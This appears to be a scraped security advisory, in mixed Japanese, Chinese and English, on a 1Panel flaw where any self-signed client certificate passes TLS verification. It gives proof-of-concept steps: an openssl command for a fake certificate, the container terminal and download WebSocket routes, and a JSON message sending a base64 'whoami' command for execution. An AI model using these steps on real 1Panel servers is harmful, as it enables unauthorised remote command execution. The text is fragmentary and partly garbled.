| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| github.com/1Panel-dev/1Panel/core | ≥ 1.0.0, < 2.0.6< 0.0.0-20250730021757-04b9cbd87a15全バージョン | 2.0.60.0.0-20250730021757-04b9cbd87a15 |
| 1panel | < 2.0.6 | 2.0.6 |
Note::Here due to the use of tls.RequireAnyClientCert instead of tls.RequireAndVerifyClientCert,RequireAnyClientCert Only require the client to provide a certificate,Does not verify the issuance of certificates CA,So any self assigned certificate will pass TLS handshake。
{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}
Container Terminal WebSocket interface (container execution command interface) routing address:/containers/terminal
File Download Process WebSocket interface (automatically push download progress information) routing address:/files/wget/process
First generate a fake certificate openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
Then use the certificate to request verification. If the websocket interface is successfully connected, there is a vulnerability.